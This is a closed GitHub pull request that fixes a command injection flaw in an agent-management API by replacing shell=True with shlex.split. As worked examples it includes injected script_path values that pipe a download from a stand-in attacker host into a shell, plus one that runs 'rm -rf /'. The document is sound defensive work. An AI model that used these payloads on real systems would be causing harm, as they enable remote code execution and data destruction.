Skip to content

fix: prevent OS command injection in AgentManager via shell=True#87

Closed
Joshua-Medvinsky wants to merge 1 commit into
themanojdesai:mainfrom
Joshua-Medvinsky:fix/command-injection-agent-manager
Closed

fix: prevent OS command injection in AgentManager via shell=True#87
Joshua-Medvinsky wants to merge 1 commit into
themanojdesai:mainfrom
Joshua-Medvinsky:fix/command-injection-agent-manager

Conversation

@Joshua-Medvinsky

Copy link
Copy Markdown

Summary

AgentManager.start_agent_server passed a caller-controlled command string to subprocess.Popen with shell=True. An unauthenticated attacker who can reach the POST /api/create_agent endpoint can exploit this by setting template_id=custom_script and providing a script_path containing shell metacharacters (e.g. "ls; curl attacker.com/shell.sh | bash; echo"), achieving OS command injection / RCE.

Vulnerable code (before)

```python
process = subprocess.Popen(
command, # attacker-controlled string
shell=True, # shell interprets metacharacters
...
)
```

Fix

Replace shell=True with shlex.split() to tokenize the command string into an argument list. The shell is never invoked, so metacharacters in any component are treated as literals.

```python
cmd_args = shlex.split(command) if isinstance(command, str) else command
process = subprocess.Popen(cmd_args, ...)
```

Attack path

POST /api/create_agent
{"template_id": "custom_script", "port": 8080,
 "script_path": "python3 /dev/null; curl attacker.com/x | sh; echo"}

The script_path value is interpolated into "{script_path} --port {port}" and then executed by /bin/sh — no authentication required on the /api/* routes.

Test plan

  • Start the AgentFlow UI server
  • POST to /api/create_agent with a benign script_path — agent launches correctly
  • POST with script_path containing ; or && shell operators — command injection no longer executes; shlex.split tokenises as one argument instead
  • Existing template IDs (openai, anthropic, etc.) continue to work

🤖 Generated with Claude Code

Replace shell=True subprocess call with shlex.split() to ensure
command strings are tokenized rather than interpreted by a shell.

Without this fix, an attacker who can reach POST /api/create_agent
with template_id=custom_script can inject arbitrary shell commands
via the script_path parameter (e.g. "evil; rm -rf /").

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
@Joshua-Medvinsky

Copy link
Copy Markdown
Author

Closing — duplicate of #90 which was submitted moments later with the same fix. Sorry for the noise.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant